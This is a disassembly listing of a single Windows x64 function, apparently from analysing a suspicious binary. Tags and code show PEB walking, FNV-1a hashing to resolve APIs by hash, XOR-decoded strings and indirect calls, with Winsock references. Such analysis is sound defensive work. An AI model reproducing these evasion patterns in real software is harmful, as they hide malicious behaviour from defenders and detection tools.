Function at 0x140056ab0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rbx, qword [0x1401d8e30]
test rbx, rbx
jne 0x140056c94
mov rax, qword gs:[0x60]
xor r9d, r9d
mov ebx, 0xf8f45725
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r9d, r9d
je 0x140056b4d
psrldq xmm0, 8
mov edx, 0x811c9dc5
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140056b44
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140056b30
cmp edx, r9d
jne 0x140056c75
mov r10, qword [rsi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov edi, ecx
shr r15, 0x20
add rdi, r10
cmp rdi, r10
je 0x140056c75
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140056c75
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140056bc7
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140056bb0
cmp edx, ebx
je 0x140056bd5
test r8d, r8d
jne 0x140056b90
jmp 0x140056c75
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
add rbx, r10
cmp rbx, rdi
jbe 0x140056c8d
lea rax, [r15 + rdi]
cmp rbx, rax
jae 0x140056c8d
movzx eax, byte [rbx]
mov r9d, 0x811c9dc5
mov dword [rbp + 0x48], r9d
mov ecx, r9d
mov dword [rbp + 0x4c], ecx
cmp al, 0x2e
je 0x140056c3b
nop dword [rax]
movsx eax, al
inc rbx
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x140056c20
mov dword [rbp + 0x48], r9d
movzx eax, byte [rbx + 1]
inc rbx
test al, al
je 0x140056c69
nop word [rax + rax]
movsx eax, al
lea rbx, [rbx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rbx]
test al, al
jne 0x140056c50
mov dword [rbp + 0x4c], ecx
mov rbx, qword [rbp + 0x48]
mov rsi, qword [r12]
shr rbx, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140056c8b
cmp qword [rax + 0x30], 0
jne 0x140056b00
xor ebx, ebx
mov qword [0x1401d8e30], rbx
mov eax, dword [0x140184d00]
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
movups xmm0, xmmword [str.EaV_XQWKWZHTQQ]
mov dword [rbp - 0x20], eax
movzx eax, word [0x140184d04]
mov word [rbp - 0x1c], ax
movzx eax, byte [0x140184d06]
mov byte [rbp - 0x1a], al
movups xmmword [rbp - 0x30], xmm0
jl 0x140056e14
movdqa xmm0, xmmword [str.0000000000000000]
lea rcx, [rbp - 0x2c]
movdqa xmm5, xmmword [0x140185bd0]
movdqa xmm4, xmmword [0x140185d40]
movdqa xmmword [rbp - 0x40], xmm0
mov edx, dword [rbp - 0x40]
movaps xmmword [rsp + 0x60], xmm6
movdqa xmm6, xmmword [0x140185bf0]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140185c60]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140185c60]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140056d00
movaps xmm6, xmmword [rsp + 0x60]
cmp r8d, 0x17
jge 0x140056e54
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x140056e20
mov rdx, qword [0x1401d8dd8]
test rdx, rdx
jne 0x140057024
mov rax, qword gs:[0x60]
xor r9d, r9d
mov esi, 0xe463da3c
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r14, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [r14 + 0x58]
movd eax, xmm0
sub ax, 8
test r9d, r9d
je 0x140056edd
psrldq xmm0, 8
mov edx, 0x811c9dc5
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140056ed4
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140056ec0
cmp edx, r9d
jne 0x140057005
mov r10, qword [r14 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r12, rcx
mov edi, ecx
shr r12, 0x20
add rdi, r10
cmp rdi, r10
je 0x140057005
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140057005
mov r15d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r15 + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140056f57
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140056f40
cmp edx, esi
je 0x140056f65
test r8d, r8d
jne 0x140056f20
jmp 0x140057005
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov edx, dword [rcx + rdx*4]
add rdx, r10
cmp rdx, rdi
jbe 0x14005701d
lea rax, [r12 + rdi]
cmp rdx, rax
jae 0x14005701d
movzx eax, byte [rdx]
mov r9d, 0x811c9dc5
mov dword [rbp + 0x48], r9d
mov ecx, r9d
mov dword [rbp + 0x4c], ecx
cmp al, 0x2e
je 0x140056fcb
nop dword [rax]
movsx eax, al
inc rdx
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x140056fb0
mov dword [rbp + 0x48], r9d
movzx eax, byte [rdx + 1]
inc rdx
test al, al
je 0x140056ff9
nop word [rax + rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
test al, al
jne 0x140056fe0
mov dword [rbp + 0x4c], ecx
mov rsi, qword [rbp + 0x48]
mov r14, qword [r13]
shr rsi, 0x20
mov rax, qword [r14]
mov r14, rax
cmp rax, r13
je 0x14005701b
cmp qword [rax + 0x30], 0
jne 0x140056e90
xor edx, edx
mov qword [0x1401d8dd8], rdx
cmp byte [reloc.WS2_32.dll_gethostname], 0
movsd xmm0, qword [str.EV_XeR_T9]
movzx eax, word [0x140184ff0]
movsd qword [rbp - 0x50], xmm0
mov word [rbp - 0x48], ax
je 0x14005706d
xor byte [rbp - 0x4f], 0x31
xor byte [rbp - 0x4e], 0x32
xor byte [rbp - 0x4d], 0x33
xor byte [rbp - 0x4c], 0x34
xor byte [rbp - 0x4b], 0x35
xor byte [rbp - 0x4a], 0x36
xor byte [rbp - 0x49], 0x37
xor byte [rbp - 0x48], 0x38
xor byte [rbp - 0x47], 0x39
mov byte [rbp - 0x50], WSAGetLastError
lea rcx, [rbp - 0x50]
call rdx
lea rdx, [rbp - 0x30]
mov rcx, rax
call rbx
mov r13, rax
test rax, rax
je 0x14005727b
mov rax, qword [rbp + 0x40]
test rax, rax
jne 0x140057266
mov rcx, qword [0x1401d8e48]
test rcx, rcx
jne 0x140057269
mov rcx, qword gs:[0x60]
xor r9d, r9d
mov edi, 0x9bc5a608
mov rdx, qword [rcx + 0x18]
mov rax, qword [rdx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r9d, r9d
je 0x14005711d
psrldq xmm0, 8
mov edx, 0x811c9dc5
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140057114
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140057100
cmp edx, r9d
jne 0x140057245
mov r10, qword [rsi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r10
cmp rbx, r10
je 0x140057245
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140057245
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r14 + r8*4]
mov eax, dword [rax + r10]
add rax, r10
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140057197
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140057180
cmp edx, edi
je 0x1400571a5
test r8d, r8d
jne 0x140057160
jmp 0x140057245
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov ecx, dword [rcx + rdx*4]
add rcx, r10
cmp rcx, rbx
jbe 0x14005725d
lea rax, [r15 + rbx]
cmp rcx, rax
jae 0x14005725d
movzx eax, byte [rcx]
mov r9d, 0x811c9dc5
mov dword [rbp + 0x48], r9d
mov edx, r9d
mov dword [rbp + 0x4c], edx
cmp al, 0x2e
je 0x14005720b
nop dword [rax]
movsx eax, al
inc rcx
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x1400571f0
mov dword [rbp + 0x48], r9d
movzx eax, byte [rcx + 1]
inc rcx
test al, al
je 0x140057239
nop word [rax + rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
test al, al
jne 0x140057220
mov dword [rbp + 0x4c], edx
mov rdi, qword [rbp + 0x48]
mov rsi, qword [r12]
shr rdi, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14005725b
cmp qword [rax + 0x30], 0
jne 0x1400570d0
xor ecx, ecx
mov qword [0x1401d8e48], rcx
jmp 0x140057269
mov rcx, rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
call r13
test eax, eax
sete al
mov rbx, qword [rsp + 0xc0]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret